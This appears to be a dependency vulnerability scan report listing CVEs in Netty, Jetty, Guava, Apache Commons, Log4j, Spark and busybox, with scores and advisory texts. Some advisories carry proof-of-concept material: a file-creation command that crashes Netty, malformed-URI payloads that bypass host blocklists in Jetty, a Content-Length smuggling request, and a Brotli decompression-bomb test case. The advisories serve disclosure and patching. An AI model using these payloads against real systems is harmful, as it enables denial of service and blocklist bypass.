+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
